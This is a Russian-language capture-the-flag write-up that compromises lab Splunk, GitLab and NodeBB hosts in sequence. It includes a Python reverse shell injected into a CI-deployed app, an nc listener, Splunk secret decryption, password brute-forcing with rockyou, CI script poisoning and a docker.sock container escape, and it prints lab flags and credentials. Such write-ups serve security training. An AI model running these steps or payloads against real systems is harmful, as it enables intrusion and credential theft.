## Начальные данные
Выдавался один ip адрес;
Имелись сведения и суммарном количестве токенов (флагов) - 8 штук;
# Машина №1 (splunk)
## Количество доступных флагов - 3
Просканив порты на выданном ip адресе можно было обнаружить пару интересных сервисов:
> port 445 - **smb**
port 8000 - **splunk**
Шара smb была открыта с доступом guest (а так же стандартным паролем admin:admin), что позволяло безпрепятственно к ней подключиться.
Внутри лежал файл **New_email.eml** внутри которого находилось информация о учетной записе и пароле:
> Hi, research!
> We reset you password, new pass is 953a86dc62f77ff7e74aa0251a9452e3
Подключаемся к вем-морде splunk с этими данными и получаем доступ до обычной УЗ внутри splunk.
Splunk это платформа для сбора, хранения, обработки и анализа машинных данных, то есть логов. Сразу в интерфейсе видим доступное приложение Search&Reporting, заходим туда и ознакамливаемся с интерфейсом. Была возможность делать простые поисковые запросы за разный интервал времени (по умолчанию стоит 24 часа, кнопка справа позволяла выбирать интервал, в том числе All time).
Необходимо было произвести поиск по ключевым словам, таким как:
* key
* password
* token
* username
За счет внутренней оптимизации поиска в splunk иногда результаты на такие "сырые" запросы не выдаются, если поиск выполняется слишком долго или надо смотреть далеко "вглубь" логов. В таком случае есть два варианта решения:
**1. Не самый удачный способ**
Внимательно присмотревшись к интерфейсу, можно было заметить вкладку job, а раскрыв ее - можно отправить задачу в фон. Но тут есть проблема, что после завершения работы результат отправляется на почту (в данном случае research@splunk.local). Можно было в настройках аккаунта поменять почту и дождаться результата.
**2. Оптимальный способ**
Закинув пару запросов в гугл по типу "splunk как работать", можно было найти информацию, что splunk использует язык запросов SPL, что логи подключаются в индексы (с разными sourcetype) и можно делать оптимальные запросы (в том числе используя регулярные выражения).
Что бы посмотреть какие индексы и привязанные к ним sourcetype есть, можно воспользоваться следующим запросом:
| tstats values(sourcetype) where index=* group by index
Таким образом мы получаем информацию, что нам доступны следующие индексы и типы данных в них:
index: win; sourcetype: win_log
index: web; sourcetype: apache_log
index nix_other; sourcetype: linux_log
И теперь можем сделать чуть более оптимальный запрос:
index="nix_other" AND index="web" token
Таким образом получив и первый флаг (хранимый в индексе web - **1c6d4881d856019c42d2474bc5026626** ) и апи ключ с информацией о новом хосте:
Jun 20 13:37:00 curl: cURL error (60) SSL certificate problem: unable to get local issuer certificate for <ip>. Request: curl --header "PRIVATE-TOKEN: pS83VbNm8xyrNyLA42Au" "https://<ip></ip/api/v4/groups/gitlab-org>/api/v4/groups/gitlab-org"
Где вместо <ip> у каждой команды был свой ip-адресс на сервер с gitlab.
# Машина №2 (gitlab)
## Количество доступных флагов - 1
С помощью найденного апи-токена мы можем просмотреть список доступных нам репозиториев и другой информации:
* username: *splunk_develop*
* доступные репозитории (только чтение и возможность сделать fork репозитория): *splunk-apps*
В репозитории лежал код приложения [dnslookup](https://github.com/aholzel/TA-dnslookup) для splunk и интересный файл .gitlab-ci.yml, из которого было понятно что для данного репозитория настроена автоматическая раскатка приложения в машину со splunk.
Таким образом для получения доступа на первую машину необходимо было выполнить следующие шаги:
1. Сделать fork данного репозитория
2. В исходном коде приложения добавить вызов reverse shell
3. Запустить listener на локальной машине (требовался внешний ip адрес, можно было воспользоваться ngrok)
4. Через веб-интерфейс обратиться к нашему приложению, инициализировав его вызов и ожидать ответа
Пример запуска listener:
```bash=
nc -lvp 333
```
Пример кода, который можно было добавить в dnslookup.py
```python=
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.20.30.40",3333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")'
```
Таким образом можно было попасть на систему под учетной записью splunk и достать второй флаг, расположенный по пути /opt/splunk/secret **c5ee1c328efeae3dc37bcf1b2d07124b**.
Далее можно было произвести стандартную разведку средствами linpeas/pspy64/linenum.sh или вручную найти файл с названием password.conf (внутри файла содержалась ключевая строка для поиска password и credential, которую любой из вышеперечисленных скриптов пытается найти) и увидеть там зашифрованный пароль и имя нового пользователя:
[credential:gitlab:user1:]
password = $7$cbu3H1NHALLW8w0ro7tRrchkqcujaWiRnZPs1KwsJ6cv+2DtY2YJDETQtOyI4uKQh/3tSbaphk60xxb
Если немного погуглить - можно найти информацию, что splunk позволяет хранить различные пароли и токены в зашифрованном виде. Для этого используется специальный алгоритм шифрования и ключ, хранимый по пути /opt/splunk/etc/auth/splunk.secret
Расшифровать пароль можно несколькими способами:
* с помощью cli-утилиты [splunksecrets](https://github.com/HurricaneLabs/splunksecrets), вызвав команду *splunksecrets --new --splunk-secret -D --password "\$7$cbu3H1NHALLW8w0ro7tRrchkqcujaWiRnZPs1KwsJ6cv+2DtY2YJDETQtOyI4uKQh/3tSbaphk60xxb"*
* через вызов команды */opt/splunk/bin/splunk show-decrypted --value "\$7$cbu3H1NHALLW8w0ro7tRrchkqcujaWiRnZPs1KwsJ6cv+2DtY2YJDETQtOyI4uKQh/3tSbaphk60xxb"*
Таким образом получаем следующие данные:
* username: *user1*
* password: *92b390585a2c5d09ee3418b89f142d35*
Пробуем эти данные для подключения к gitlab и получаем полноценный доступ с УЗ user1.
Однако, если попробовать авторизоваться с этим паролем под пользователем root на первой машине в терминале через команду
```bash=
su root
```
то можно так же забрать третий и последний флаг, находящийся по пути /root/secret: **466f6b49024f59cf4ee4c60fac11cfb1**, больше на этой машине (№ 1) нам ничего не пригодится.
## Альтернативный вариант решения, без использования gitlab и данных splunk_develop
Определив, что на 8000 порту установлен splunk, можно было посмотреть стандартное имя пользователя - **admin**. Запустив любой [web-bruteforce](https://github.com/mlynchcogent/w3brute) со стандартными словарями (в данном случае [rockyou](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjT7ra2hZ32AhXHtYsKHc2zDcoQFnoECAcQAQ&url=https%3A%2F%2Fgithub.com%2Fbrannondorsey%2Fnaive-hashcat%2Freleases%2Fdownload%2Fdata%2Frockyou.txt&usg=AOvVaw3snAERl1mU6Ccr4WFEazBd)) за небольшое количество времени можно было получить пароль от этой записи: **ashleyandtiger4ever**
Если зайти на gitlab и внимательно изучить профиль - можно найти следующий флаг, находящийся в описании профиля user1: **b4900c71b8047d517a9421bbb22b97ff**
Таким образом мы имеем полные права и можем исполнять любые команды внутри splunk, но самое главное - мы можем выбрать пункт **Deploy app**, что позволит нам загрузить [готовое приложение](https://github.com/TBGSecurity/splunk_shells) прямо через веб-интерфейс и так же получить доступ до пользователя *splunk* внутри машины.
# Машина №3 (nodebb)
## Количество доступных флагов - 4
На данной машине был запущен форум NodeBB. Доступ к этому репозиторию был на gitlab под юзером user1. У данного пользователя был статус Developer к репозиторию nodebb. Пушить в ветку master нельзя, но можно создавать pull-реквесты, и при успешном прохождении процесса сборки, можно делать merge в master. Файл с описанием процесса сборки .gitlab-ci.yml заблокирован для редактирования. Но в стадии deploy развертывание приложения происходит через bash-скрипт, который для редактирования доступен
Порядок действий такой:
1. Добавляем свой payload (с реверс-шеллом) в файл script.sh
2. Создаем merge request и ждем успшеной отработки конвейера сборки
3. Принимаем merge request в ветку master
4. На стадии deploy в консоли видно юзера и пароль админа от движка форума. Забираем на будущее
5. Пользуемся реверс-шеллом.
Мы попали на машину с gitlab-runner, он запущен в виде docker-контейнера, т.е. мы не на хосте. Зато в контейнер прокинут docker.sock, а также он запущен в привилегированном режиме. По пути забираем флаг из переменных среды. Название переменной - FLAG (*126307672ce0a94780a8f5956f45204e*).
Если установить библиотеку docker-py, то можно также вывести список всех запущенных контейнеров. Там виднеется наш nodebb и mongo. В переменных среды базы видно юзера-админа (root) и его пароль (*c34e03b344f06ea797e415eb7dd0e76b*)
Так как мы запущены в привилегированным режиме и у нас есть доступ к docker.sock, нам не составит труда попасть на машину хоста (можно и не попадать, а просто примонтировать корень системы). Флаг лежал по адресу `/root/secret.txt` - *6185ddf323a3aa2650beb2b7f5a34e38*
Мы можем узнать внешний ip машины, зайти на форум, залогиниться под кредами админа и в единственном сообщении на форуме найти последний флаг - *bfc3964d6adc0233e29247fbfff52b51*
Sign in with Wallet
Connect another wallet